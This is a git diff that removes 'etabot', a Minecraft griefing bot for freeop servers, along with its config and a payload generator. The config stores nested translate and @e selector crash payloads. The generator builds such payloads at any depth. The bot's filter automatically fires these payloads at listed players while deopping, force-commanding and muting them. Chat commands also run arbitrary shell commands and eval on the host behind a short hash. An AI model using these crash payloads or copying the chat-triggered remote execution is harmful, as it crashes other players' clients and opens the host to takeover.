Sus
This commit is contained in:
42
.gitignore
vendored
42
.gitignore
vendored
@@ -5,7 +5,6 @@ npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
.pnpm-debug.log*
|
||||
|
||||
# Diagnostic reports (https://nodejs.org/api/report.html)
|
||||
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
|
||||
@@ -57,12 +56,6 @@ web_modules/
|
||||
# Optional stylelint cache
|
||||
.stylelintcache
|
||||
|
||||
# Microbundle cache
|
||||
.rpt2_cache/
|
||||
.rts2_cache_cjs/
|
||||
.rts2_cache_es/
|
||||
.rts2_cache_umd/
|
||||
|
||||
# Optional REPL history
|
||||
.node_repl_history
|
||||
|
||||
@@ -74,10 +67,8 @@ web_modules/
|
||||
|
||||
# dotenv environment variable files
|
||||
.env
|
||||
.env.development.local
|
||||
.env.test.local
|
||||
.env.production.local
|
||||
.env.local
|
||||
.env.*
|
||||
!.env.example
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
.cache
|
||||
@@ -104,6 +95,15 @@ dist
|
||||
.temp
|
||||
.cache
|
||||
|
||||
# Sveltekit cache directory
|
||||
.svelte-kit/
|
||||
|
||||
# vitepress build output
|
||||
**/.vitepress/dist
|
||||
|
||||
# vitepress cache directory
|
||||
**/.vitepress/cache
|
||||
|
||||
# Docusaurus cache and generated files
|
||||
.docusaurus
|
||||
|
||||
@@ -116,18 +116,24 @@ dist
|
||||
# DynamoDB Local files
|
||||
.dynamodb/
|
||||
|
||||
# Firebase cache directory
|
||||
.firebase/
|
||||
|
||||
# TernJS port file
|
||||
.tern-port
|
||||
|
||||
# Stores VSCode versions used for testing VSCode extensions
|
||||
.vscode-test
|
||||
|
||||
# yarn v2
|
||||
.yarn/cache
|
||||
.yarn/unplugged
|
||||
.yarn/build-state.yml
|
||||
.yarn/install-state.gz
|
||||
# yarn v3
|
||||
.pnp.*
|
||||
.yarn/*
|
||||
!.yarn/patches
|
||||
!.yarn/plugins
|
||||
!.yarn/releases
|
||||
!.yarn/sdks
|
||||
!.yarn/versions
|
||||
|
||||
# Replit debugger
|
||||
.breakpoints
|
||||
# Vite logs files
|
||||
vite.config.js.timestamp-*
|
||||
vite.config.ts.timestamp-*
|
||||
|
||||
19
.replit
19
.replit
@@ -1,6 +1,6 @@
|
||||
modules = ["nodejs-22"]
|
||||
[nix]
|
||||
packages = ["nodejs-22", "pacman", "mineflayer", "mineflayer-proxy", "readline"]
|
||||
packages = ["nodejs-22", "pacman", "mineflayer", "mineflayer-proxy", "readline", "unixtools.ping"]
|
||||
|
||||
[agent]
|
||||
expertMode = true
|
||||
@@ -27,3 +27,20 @@ args = "node etabot/index.js"
|
||||
|
||||
[workflows.workflow.metadata]
|
||||
outputType = "console"
|
||||
|
||||
[[workflows.workflow]]
|
||||
name = "Bash"
|
||||
mode = "sequential"
|
||||
author = 48128229
|
||||
|
||||
[[workflows.workflow.tasks]]
|
||||
task = "shell.exec"
|
||||
args = "/bin/bash"
|
||||
|
||||
[[ports]]
|
||||
localPort = 3000
|
||||
externalPort = 80
|
||||
|
||||
[[ports]]
|
||||
localPort = 8080
|
||||
externalPort = 8080
|
||||
|
||||
139
etabot/.gitignore
vendored
139
etabot/.gitignore
vendored
@@ -1,139 +0,0 @@
|
||||
# Logs
|
||||
logs
|
||||
*.log
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
lerna-debug.log*
|
||||
|
||||
# Diagnostic reports (https://nodejs.org/api/report.html)
|
||||
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
|
||||
|
||||
# Runtime data
|
||||
pids
|
||||
*.pid
|
||||
*.seed
|
||||
*.pid.lock
|
||||
|
||||
# Directory for instrumented libs generated by jscoverage/JSCover
|
||||
lib-cov
|
||||
|
||||
# Coverage directory used by tools like istanbul
|
||||
coverage
|
||||
*.lcov
|
||||
|
||||
# nyc test coverage
|
||||
.nyc_output
|
||||
|
||||
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
|
||||
.grunt
|
||||
|
||||
# Bower dependency directory (https://bower.io/)
|
||||
bower_components
|
||||
|
||||
# node-waf configuration
|
||||
.lock-wscript
|
||||
|
||||
# Compiled binary addons (https://nodejs.org/api/addons.html)
|
||||
build/Release
|
||||
|
||||
# Dependency directories
|
||||
node_modules/
|
||||
jspm_packages/
|
||||
|
||||
# Snowpack dependency directory (https://snowpack.dev/)
|
||||
web_modules/
|
||||
|
||||
# TypeScript cache
|
||||
*.tsbuildinfo
|
||||
|
||||
# Optional npm cache directory
|
||||
.npm
|
||||
|
||||
# Optional eslint cache
|
||||
.eslintcache
|
||||
|
||||
# Optional stylelint cache
|
||||
.stylelintcache
|
||||
|
||||
# Optional REPL history
|
||||
.node_repl_history
|
||||
|
||||
# Output of 'npm pack'
|
||||
*.tgz
|
||||
|
||||
# Yarn Integrity file
|
||||
.yarn-integrity
|
||||
|
||||
# dotenv environment variable files
|
||||
.env
|
||||
.env.*
|
||||
!.env.example
|
||||
|
||||
# parcel-bundler cache (https://parceljs.org/)
|
||||
.cache
|
||||
.parcel-cache
|
||||
|
||||
# Next.js build output
|
||||
.next
|
||||
out
|
||||
|
||||
# Nuxt.js build / generate output
|
||||
.nuxt
|
||||
dist
|
||||
|
||||
# Gatsby files
|
||||
.cache/
|
||||
# Comment in the public line in if your project uses Gatsby and not Next.js
|
||||
# https://nextjs.org/blog/next-9-1#public-directory-support
|
||||
# public
|
||||
|
||||
# vuepress build output
|
||||
.vuepress/dist
|
||||
|
||||
# vuepress v2.x temp and cache directory
|
||||
.temp
|
||||
.cache
|
||||
|
||||
# Sveltekit cache directory
|
||||
.svelte-kit/
|
||||
|
||||
# vitepress build output
|
||||
**/.vitepress/dist
|
||||
|
||||
# vitepress cache directory
|
||||
**/.vitepress/cache
|
||||
|
||||
# Docusaurus cache and generated files
|
||||
.docusaurus
|
||||
|
||||
# Serverless directories
|
||||
.serverless/
|
||||
|
||||
# FuseBox cache
|
||||
.fusebox/
|
||||
|
||||
# DynamoDB Local files
|
||||
.dynamodb/
|
||||
|
||||
# Firebase cache directory
|
||||
.firebase/
|
||||
|
||||
# TernJS port file
|
||||
.tern-port
|
||||
|
||||
# Stores VSCode versions used for testing VSCode extensions
|
||||
.vscode-test
|
||||
|
||||
# yarn v3
|
||||
.pnp.*
|
||||
.yarn/*
|
||||
!.yarn/patches
|
||||
!.yarn/plugins
|
||||
!.yarn/releases
|
||||
!.yarn/sdks
|
||||
!.yarn/versions
|
||||
|
||||
# Vite logs files
|
||||
vite.config.js.timestamp-*
|
||||
vite.config.ts.timestamp-*
|
||||
@@ -1,18 +0,0 @@
|
||||
Completely Open Source License
|
||||
Version 1, July 2025
|
||||
|
||||
Not Copyright 2025 ETAGamer
|
||||
|
||||
Everyone is permitted to copy and distribute verbatim or modified
|
||||
copies of this license document, and changing it is completely allowed.
|
||||
|
||||
Completely Open Source License
|
||||
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
|
||||
|
||||
0. You may do literally whatever you want with the material associated.
|
||||
1. You may steal it as your own without changing anything, skid the code,
|
||||
use some of its files, etc.
|
||||
2. You may NOT copyright/trademark any of the material.
|
||||
3. As said earlier, you can do anything you can imagine with the associated
|
||||
material as long as you don't copyright/trademark any of the material.
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
# etabot
|
||||
my old minecraft bot for freeop servers.
|
||||
|
||||
possibly the worst bot to ever touch kaboom.
|
||||
@@ -1,17 +0,0 @@
|
||||
{
|
||||
"core": {
|
||||
"width": 10,
|
||||
"height": 10,
|
||||
"depth": 10,
|
||||
"y": -45
|
||||
},
|
||||
"bot": {
|
||||
"host": "chipmunk.land",
|
||||
"port": 25565,
|
||||
"ver": "1.19.4"
|
||||
},
|
||||
"exploits": {
|
||||
"titlePayload": "{\"entity\":\"@e\",\"nbt\":\"\"}",
|
||||
"translatePayload": "{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"translate\":\"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s\",\"with\":[{\"color\":\"#123456\",\"text\":\"7\"}]}]}]}]}]}]}]}]}"
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -1,48 +0,0 @@
|
||||
const readline = require('readline');
|
||||
|
||||
function generatePayload(type, depth) {
|
||||
const baseKey = type === 'translate' ? '%1$s' : '@e';
|
||||
const keyName = type === 'translate' ? 'translate' : 'selector';
|
||||
|
||||
let payload = `{ "${keyName}": "${baseKey}"`;
|
||||
|
||||
for (let i = 0; i < depth; i++) {
|
||||
payload += `,"with":[{ "${keyName}": "${baseKey}"`;
|
||||
}
|
||||
|
||||
// close the nested objects and arrays in reverse order
|
||||
for (let i = 0; i < depth; i++) {
|
||||
payload += `}]`;
|
||||
}
|
||||
|
||||
payload += ` }`; // close the initial object
|
||||
return payload.replace(/\s+/g, '');
|
||||
}
|
||||
|
||||
const rl = readline.createInterface({
|
||||
input: process.stdin,
|
||||
output: process.stdout
|
||||
});
|
||||
|
||||
rl.question('Type (translate / selector): ', (typeInput) => {
|
||||
const type = typeInput.trim().toLowerCase();
|
||||
if (type !== 'translate' && type !== 'selector') {
|
||||
console.log('Invalid type. Must be "translate" or "selector".');
|
||||
rl.close();
|
||||
return;
|
||||
}
|
||||
|
||||
rl.question('How many layers deep? ', (depthInput) => {
|
||||
const depth = parseInt(depthInput);
|
||||
if (isNaN(depth) || depth < 1) {
|
||||
console.log('Enter a valid positive number.');
|
||||
rl.close();
|
||||
return;
|
||||
}
|
||||
|
||||
const payload = generatePayload(type, depth);
|
||||
console.log('\nGenerated JSON:\n');
|
||||
console.log(payload);
|
||||
rl.close();
|
||||
});
|
||||
});
|
||||
@@ -1,14 +0,0 @@
|
||||
[
|
||||
{
|
||||
"id": "CnB5Rt9mEBTwSI",
|
||||
"reason": "Generic Filter"
|
||||
},
|
||||
{
|
||||
"id": "8de2880669ff167e",
|
||||
"reason": "Generic Filter"
|
||||
},
|
||||
{
|
||||
"id": "Kill_bot",
|
||||
"reason": "horrendous bot"
|
||||
}
|
||||
]
|
||||
761
etabot/index.js
761
etabot/index.js
@@ -1,761 +0,0 @@
|
||||
const mineflayer = require('mineflayer');
|
||||
const { CoreClass } = require('./util/core.js');
|
||||
const { Tellraw, Text } = require("./util/tellrawBuilder.js");
|
||||
const { selfcare } = require('./util/selfcare.js');
|
||||
const readline = require('readline');
|
||||
const fs = require('fs');
|
||||
const os = require('os');
|
||||
const config = require("./config.json");
|
||||
const { host, port, ver } = config.bot;
|
||||
const { titlePayload, obfuscatePayload } = config.exploits;
|
||||
const { exec } = require("child_process");
|
||||
|
||||
let filtering = false;
|
||||
let filterInterval;
|
||||
|
||||
class MinecraftBot {
|
||||
constructor() {
|
||||
this.prefixes = [
|
||||
'\\\\',
|
||||
'eta:',
|
||||
'etabot:',
|
||||
'radium:',
|
||||
'rad:',
|
||||
'ra:',
|
||||
'¯\\_(ツ)_/¯',
|
||||
os.userInfo().username+'@'+os.hostname()+':~$ ',
|
||||
'🔛🔝',
|
||||
'☠',
|
||||
'📉',
|
||||
'ඞ',
|
||||
'ɇ',
|
||||
'ᐩ',
|
||||
'ⓔ',
|
||||
'Ⓔ',
|
||||
'𝐄',
|
||||
'𝔼',
|
||||
'€',
|
||||
'ₑ',
|
||||
'℮',
|
||||
'𝐞',
|
||||
'𝕖',
|
||||
'🄴',
|
||||
'🅴',
|
||||
''
|
||||
]
|
||||
this.commands = new Map();
|
||||
this.setupBot();
|
||||
this.setupConsoleInput();
|
||||
this.cloopIntv = null;
|
||||
}
|
||||
|
||||
generateRandom(length) {
|
||||
const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789';
|
||||
return Array.from({ length }, () =>
|
||||
characters.charAt(Math.floor(Math.random() * characters.length))
|
||||
).join('');
|
||||
}
|
||||
|
||||
generateInitialHashes() {
|
||||
this.bot.trustedHash = this.generateRandom(Math.floor(Math.random() * (15 - 10) + 10));
|
||||
this.bot.ownerHash = this.generateRandom(Math.floor(Math.random() * (25 - 20) + 20));
|
||||
|
||||
console.log('[ETAbot Hashes] \x1b[107m\x1b[30m+=- Hashes Generated for use. -=+');
|
||||
console.log(`[ETAbot Hashes] Trusted Hash: ${this.bot.trustedHash}`);
|
||||
console.log(`[ETAbot Hashes] Owner Hash: ${this.bot.ownerHash}\x1b[0m`);
|
||||
}
|
||||
|
||||
generateNewHash(hashType) {
|
||||
if (hashType === 'trusted') {
|
||||
this.bot.trustedHash = this.generateRandom(Math.floor(Math.random() * (15 - 10) + 10));
|
||||
console.log('\x1b[107m\x1b[30m=== New Trusted Hash Generated ===');
|
||||
console.log(`Trusted Hash: ${this.bot.trustedHash}\x1b[0m`);
|
||||
} else if (hashType === 'owner') {
|
||||
this.bot.ownerHash = this.generateRandom(Math.floor(Math.random() * (25 - 20) + 20));
|
||||
console.log('\x1b[107m\x1b[30m=== New Owner Hash Generated ===');
|
||||
console.log(`Owner Hash: ${this.bot.ownerHash}\x1b[0m`);
|
||||
}
|
||||
}
|
||||
|
||||
generateCrashallTag() {
|
||||
this.bot.crashallTag = this.generateRandom(Math.floor(Math.random() * (5 - 0) + 20));
|
||||
console.log('\x1b[107m\x1b[30m=== New Crashall Tag Generated ===');
|
||||
console.log(`Crashall Tag: ${this.bot.crashallTag}\x1b[0m`);
|
||||
}
|
||||
|
||||
setupBot() {
|
||||
this.bot = mineflayer.createBot({
|
||||
host: host,
|
||||
port: port,
|
||||
username: `<${this.generateRandom(4)}]+[${this.generateRandom(4)}>`,
|
||||
version: ver,
|
||||
physicsEnabled: false
|
||||
});
|
||||
|
||||
this.setupEventHandlers();
|
||||
this.registerCommands();
|
||||
this.generateInitialHashes();
|
||||
}
|
||||
|
||||
setupEventHandlers() {
|
||||
this.bot._client.on('login', () => this.handleLogin());
|
||||
this.bot.on('messagestr', (message, username) => this.handleMessage(message, username));
|
||||
this.bot.on('error', (err) => console.error('Error:', err));
|
||||
this.bot.on('end', () => console.log('Bot has disconnected.'));
|
||||
this.bot.on('message', (jsonMsg) => console.log(`<server> ${jsonMsg.toString()}`));
|
||||
}
|
||||
|
||||
handleLogin() {
|
||||
setTimeout(() => {
|
||||
this.bot.pos = this.bot.entity.position;
|
||||
this.bot.core = new CoreClass(this.bot);
|
||||
this.handlePrefixCommand();
|
||||
selfcare(this.bot);
|
||||
|
||||
setTimeout(() => {
|
||||
const readyMessage = new Tellraw()
|
||||
.add(new Text("[ETAbot Core] Prefix: \\\\").color("dark_green"));
|
||||
this.bot.core.fancyTellraw(readyMessage.get());
|
||||
|
||||
const tipsNstuff = [
|
||||
"&aDid you know: You can use \\\\help to see all commands!",
|
||||
"&aFun fact: This bot really sucks!",
|
||||
"&aTip: Try regenerating the core with \\\\refill",
|
||||
"&aTip: Use \\\\uuids to get player UUIDs",
|
||||
"&aFunnest fact: I ran out of tips!"
|
||||
];
|
||||
|
||||
setInterval(() => {
|
||||
const tip = tipsNstuff[Math.floor(Math.random() * tipsNstuff.length)];
|
||||
this.bot.chat(`/bcraw ${tip}`);
|
||||
}, 5 * 60 * 1000);
|
||||
|
||||
if (filtering) {
|
||||
this.bot.chat("/bcraw &aFilter enabled");
|
||||
filterInterval = setInterval(() => {
|
||||
let players = JSON.parse(fs.readFileSync("filter.json", "utf8"));
|
||||
|
||||
for (let name of Object.keys(this.bot.players)) {
|
||||
const entry = players.find(p => p.id === name);
|
||||
if (entry) {
|
||||
const reason = entry.reason || "filtered";
|
||||
|
||||
this.bot.core.run(`/deop ${name}`);
|
||||
this.bot.core.run(`/sudo ${name} prefix &8[&4&lFiltered &c- &4&l${reason}&8]`);
|
||||
this.bot.core.run(`/sudo ${name} c:ive been filtered for reason ${reason}`);
|
||||
this.bot.core.run(`/sudo ${name} vanish off`);
|
||||
this.bot.core.run(`/sudo ${name} god off`);
|
||||
this.bot.core.run(`/sudo ${name} cspy off`);
|
||||
this.bot.core.run(`/mute ${name} 1337y Filtered: ${reason}`);
|
||||
this.bot.core.run(`/msg ${name} you've been filtered: ${reason}`);
|
||||
this.bot.core.run(`/title ${name} actionbar ${titlePayload}`);
|
||||
this.bot.core.run(`/title ${name} title ${titlePayload}`);
|
||||
this.bot.core.run(`/title ${name} subtitle ${titlePayload}`);
|
||||
this.bot.core.run(`/tellraw ${name} ${titlePayload}`);
|
||||
}
|
||||
}
|
||||
}, 500);
|
||||
} else {
|
||||
this.bot.chat("/bc&cFilter disabled");
|
||||
clearInterval(filterInterval);
|
||||
}
|
||||
}, 350);
|
||||
}, 150);
|
||||
}
|
||||
|
||||
registerCommands() {
|
||||
this.commands.set('help', () => {
|
||||
const helpMessage = new Tellraw()
|
||||
.add(new Text("Commands: §8§l[ §7guest §auser §4root §etestcmd §8§l] \n").color("white"))
|
||||
.add(new Text("§l\\\\info§r ").color("white"))
|
||||
.add(new Text("§l\\\\funnimessage§r ").color("white"))
|
||||
.add(new Text("§l\\\\refill§r ").color("white"))
|
||||
.add(new Text("§l\\\\uuids§r ").color("white"))
|
||||
.add(new Text("§l\\\\fibonacci§r ").color("white"))
|
||||
.add(new Text("§l\\\\annoy§r ").color("white"))
|
||||
.add(new Text("§l\\\\core§r ").color("white"))
|
||||
.add(new Text("§l\\\\joke§r ").color("white"))
|
||||
.add(new Text("§l\\\\system§r ").color("white"))
|
||||
.add(new Text("§l\\\\wiki§r ").color("white"))
|
||||
.add(new Text("§l\\\\brute§r ").color("white"))
|
||||
.add(new Text("§l\\\\echo§r ").color("white"))
|
||||
.add(new Text("§l\\\\cloop§r ").color("white"))
|
||||
.add(new Text("§l\\\\hash§r ").color("green"))
|
||||
.add(new Text("§l\\\\lagserver§r ").color("green"))
|
||||
.add(new Text("§l\\\\kill§r ").color("dark_red"))
|
||||
.add(new Text("§l\\\\eval§r ").color("dark_red"))
|
||||
.add(new Text("§l\\\\bash§r ").color("dark_red"))
|
||||
.add(new Text("§l\\\\crash§r ").color("dark_red"))
|
||||
.add(new Text("§l\\\\testbot§r ").color("yellow"))
|
||||
.add(new Text("§l\\\\testchat§r ").color("yellow"))
|
||||
this.bot.core.fancyTellraw(helpMessage.get());
|
||||
});
|
||||
|
||||
this.commands.set('annoy', () => {
|
||||
this.bot.core.run('tp @e[type=player] ETAGamer');
|
||||
this.bot.core.run('sudo * v off');
|
||||
this.bot.core.run('effect give @a minecraft:blindness 2 10 true');
|
||||
});
|
||||
|
||||
this.commands.set('core', (args) => {
|
||||
const coreRun = args.slice(0).join(' ');
|
||||
this.bot.core.run(`${coreRun}`)
|
||||
});
|
||||
|
||||
this.commands.set('fibonacci', (args) => {
|
||||
const n = parseInt(args[0])
|
||||
if (isNaN(n) || n < 0) return this.bot.chat("/bcraw &cInvalid number")
|
||||
|
||||
function fib(x) {
|
||||
if (x < 2) return x
|
||||
let a = 0, b = 1
|
||||
for (let i = 2; i <= x; i++) {
|
||||
const t = a + b
|
||||
a = b
|
||||
b = t
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
this.bot.chat(`&aResult(${n}) = &b${fib(n)}`)
|
||||
})
|
||||
|
||||
this.commands.set('brute', (args) => {
|
||||
const length = parseInt(args[0])
|
||||
if (isNaN(length) || length <= 0) {
|
||||
return this.bot.chat("/bcraw &cinvalid length.")
|
||||
}
|
||||
|
||||
const chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
|
||||
const results = []
|
||||
|
||||
function brute(prefix, depth) {
|
||||
if (depth === length) {
|
||||
results.push(prefix)
|
||||
return
|
||||
}
|
||||
for (const c of chars) {
|
||||
brute(prefix + c, depth + 1)
|
||||
}
|
||||
}
|
||||
|
||||
brute("", 0)
|
||||
|
||||
let i = 0
|
||||
const interval = setInterval(() => {
|
||||
if (i >= results.length) {
|
||||
clearInterval(interval)
|
||||
this.bot.chat("/bcraw &abrute finished")
|
||||
} else {
|
||||
this.bot.chat(results[i])
|
||||
i++
|
||||
}
|
||||
}, 50)
|
||||
})
|
||||
|
||||
|
||||
this.commands.set('system', () => {
|
||||
const info = {
|
||||
hostname: os.hostname(),
|
||||
platform: os.platform(),
|
||||
release: os.release(),
|
||||
arch: os.arch(),
|
||||
cpumodel: os.cpus()[0].model,
|
||||
cpucores: os.cpus().length,
|
||||
totalmem: `${(os.totalmem() / 1024 / 1024 / 1024).toFixed(2)} GB`,
|
||||
freemem: `${(os.freemem() / 1024 / 1024 / 1024).toFixed(2)} GB`,
|
||||
uptime: `${(os.uptime() / 3600).toFixed(2)} hrs`,
|
||||
userinfo: os.userInfo().username,
|
||||
homedir: os.userInfo().homedir,
|
||||
tempdir: os.tmpdir(),
|
||||
loadaverage: os.loadavg().map(n => n.toFixed(2)).join(', '),
|
||||
netinterfaces: Object.keys(os.networkInterfaces()).join(', '),
|
||||
endianness: os.endianness(),
|
||||
numprocs: process.cpuUsage().user
|
||||
};
|
||||
|
||||
let message = undefined;
|
||||
for (const [key, value] of Object.entries(info)) {
|
||||
message = `${key}: ${value}`;
|
||||
this.bot.core.run(`/bcraw &2> &a&l${key}&2: &a${value}`);
|
||||
}
|
||||
});
|
||||
|
||||
this.commands.set('filter', (args) => {
|
||||
const hash = args[0]
|
||||
|
||||
if (hash !== this.bot.ownerHash) {
|
||||
console.log("Wrong hash");
|
||||
return this.bot.chat("/bcraw &c&lWrong Owner hash.");
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.ownerHash ? "owner" : "trusted");
|
||||
|
||||
filtering = !filtering;
|
||||
});
|
||||
|
||||
this.commands.set('joke', () => {
|
||||
fetch('https://official-joke-api.appspot.com/random_joke')
|
||||
.then(res => res.json())
|
||||
.then(data => this.bot.chat(`/bcraw &a&l&o${data.setup}&r &2&m-&r &a&l&o${data.punchline}&r`))
|
||||
});
|
||||
|
||||
this.commands.set('wiki', (args) => {
|
||||
if (!args.length) return this.bot.core.fancyTellraw(new Tellraw().add(new Text("Please provide a search term.").color("red")).get());
|
||||
|
||||
const searchTerm = args.join(' ');
|
||||
const url = `https://en.wikipedia.org/api/rest_v1/page/summary/${encodeURIComponent(searchTerm)}`;
|
||||
|
||||
fetch(url)
|
||||
.then(res => {
|
||||
if (!res.ok) throw new Error(`Wikipedia page not found: ${res.status}`);
|
||||
return res.json();
|
||||
})
|
||||
.then(data => {
|
||||
let extract = data.extract ? data.extract : "No summary available.";
|
||||
this.bot.core.fancyTellraw(new Tellraw().add(new Text(extract).color("green")).get());
|
||||
})
|
||||
.catch(err => {
|
||||
this.bot.core.fancyTellraw(new Tellraw().add(new Text(`Error: ${err.message}`).color("red")).get());
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
this.commands.set('kill', (args) => {
|
||||
if (args[0] !== this.bot.ownerHash) {
|
||||
console.log("someone tried to kill bot with wrong hash");
|
||||
return this.bot.chat("/bcraw &c&lWrong Owner hash.")
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.trustedHash ? "trusted" : "owner");
|
||||
|
||||
if (this.cloopIntv != null) {
|
||||
clearInterval(this.cloopIntv);
|
||||
this.cloopIntv = null;
|
||||
} else {
|
||||
let interv = 1; // ms 0.1
|
||||
this.cloopIntv = setInterval(() => {
|
||||
console.log('----------------------')
|
||||
console.log('SOMEONE KILLED THE BOT')
|
||||
console.log('----------------------')
|
||||
this.bot.quit();
|
||||
}, interv);
|
||||
}
|
||||
});
|
||||
|
||||
this.commands.set('testbot', (args) => {
|
||||
if (!args.length) {
|
||||
if (this.testBots && this.testBots.length) {
|
||||
this.testBots.forEach(bot => bot.quit());
|
||||
this.testBots = [];
|
||||
this.bot.chat("/bcraw &ctestbots have been disconnected.");
|
||||
} else {
|
||||
this.bot.chat("/bcraw &eno testbots are running.");
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const count = parseInt(args[0]);
|
||||
|
||||
if (!isNaN(count) && count > 0) {
|
||||
if (count > 15) {
|
||||
this.bot.chat(`/bcraw &c15 testbots only!!!!!!!!.`);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!this.testBots) this.testBots = [];
|
||||
|
||||
for (let i = 0; i < count; i++) {
|
||||
const bot = mineflayer.createBot({
|
||||
host: host,
|
||||
port: port,
|
||||
username: `test_${this.generateRandom(4)}`,
|
||||
version: ver,
|
||||
physicsEnabled: false
|
||||
});
|
||||
this.testBots.push(bot);
|
||||
}
|
||||
|
||||
this.bot.chat(`/bcraw &aspawned ${count} testbot(s).`);
|
||||
return;
|
||||
}
|
||||
|
||||
const message = args.join(" ");
|
||||
if (!this.testBots || this.testBots.length === 0) {
|
||||
this.bot.chat("/bcraw &cno testbots are running.");
|
||||
return;
|
||||
}
|
||||
|
||||
let ready = true;
|
||||
for (const b of this.testBots) {
|
||||
if (!b.player) {
|
||||
ready = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!ready) {
|
||||
this.bot.chat("/bcraw &cwait for all testbots to spawn.");
|
||||
return;
|
||||
}
|
||||
|
||||
this.testBots.forEach(b => b.chat(message));
|
||||
});
|
||||
|
||||
this.commands.set('info', () => {
|
||||
const infoMessage = new Tellraw()
|
||||
.add(new Text("made by §lETAGamer§r, inspiration from §lm_c_player§r. \n").color("dark_green"))
|
||||
.add(new Text("My core is §l</ETAbot Core> §r ").color("green"))
|
||||
.add(new Text("§oVersion 1.6§r \n").color("gray"))
|
||||
.add(new Text(`Current prefixes: ${this.prefixes.join(", ")} \n`).color("green"))
|
||||
.add(new Text(`Core Position: ${JSON.stringify(this.bot.core.corepos)} \n`).color("green"))
|
||||
.add(new Text(`Total Commands Run: ${this.bot.core.totalCommandsRun} \n`).color("green"))
|
||||
.add(new Text(`Start Time: ${new Date(this.bot.core.startTime).toLocaleString()}`).color("green"))
|
||||
this.bot.core.fancyTellraw(infoMessage.get());
|
||||
// update version and info regularly pls
|
||||
});
|
||||
|
||||
this.commands.set('testchat', () => {
|
||||
this.bot.chat("chat test &cformat test")
|
||||
this.bot.core.run(`/tellraw @a {"text":"normal tellraw test","color":"white"}`)
|
||||
this.bot.chat("/bcraw &fbcraw &cformat &e<est")
|
||||
this.bot.core.run("/say core say test")
|
||||
});
|
||||
|
||||
this.commands.set('echo', (args) => {
|
||||
if (args.join(" ").includes('\\echo')) {
|
||||
return this.bot.chat("/bcraw &cah ah ah no recursion");
|
||||
}
|
||||
this.bot.chat(args.join(" "));
|
||||
});
|
||||
|
||||
this.commands.set('verysecretconsolecmd', (args) => {
|
||||
exec("node index.js")
|
||||
});
|
||||
|
||||
this.commands.set('bash', (args) => {
|
||||
const hash = args[0]
|
||||
|
||||
if (hash !== this.bot.ownerHash) {
|
||||
console.log("Wrong hash");
|
||||
return this.bot.chat("/bcraw &c&lWrong Owner hash.");
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.ownerHash ? "owner" : "trusted");
|
||||
|
||||
if (!args[1].length) return this.bot.chat("/bc&cNo bash command provided.");
|
||||
|
||||
const command = args[1]
|
||||
|
||||
exec(command, (error, stdout, stderr) => {
|
||||
if (error) {
|
||||
this.bot.chat(`&4ERR: &4${error.message}`);
|
||||
return;
|
||||
}
|
||||
if (stderr) {
|
||||
stderr.split("\n").forEach(line => {
|
||||
if (line.trim().length) this.bot.chat(`&cSTDERROR: &c${line}`);
|
||||
});
|
||||
return;
|
||||
}
|
||||
stdout.split("\n").forEach(line => {
|
||||
if (line.trim().length) this.bot.chat(`&aSTDOUT: &a${line}`);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
this.commands.set('eval', (args) => {
|
||||
const hash = args[0]
|
||||
|
||||
if (hash !== this.bot.ownerHash) {
|
||||
console.log("Wrong hash");
|
||||
return this.bot.chat("/bc&c&lWrong Owner hash.");
|
||||
}
|
||||
|
||||
this.generateNewHash(args[0] === this.bot.ownerHash ? "owner" : "trusted");
|
||||
|
||||
try {
|
||||
const code = args[1]
|
||||
const result = eval(code);
|
||||
this.bot.chat(`/bcraw &aResult: &r${result}`);
|
||||
} catch (err) {
|
||||
this.bot.chat(`/bcraw &cError: &r${err.message}`);
|
||||
}
|
||||
});
|
||||
|
||||
this.commands.set('funnimessage', () => {
|
||||
const funniMessage = new Tellraw()
|
||||
.add(new Text("funnimessage is disabled bc it not funni").color("gray"))
|
||||
this.bot.core.fancyTellraw(funniMessage.get());
|
||||
});
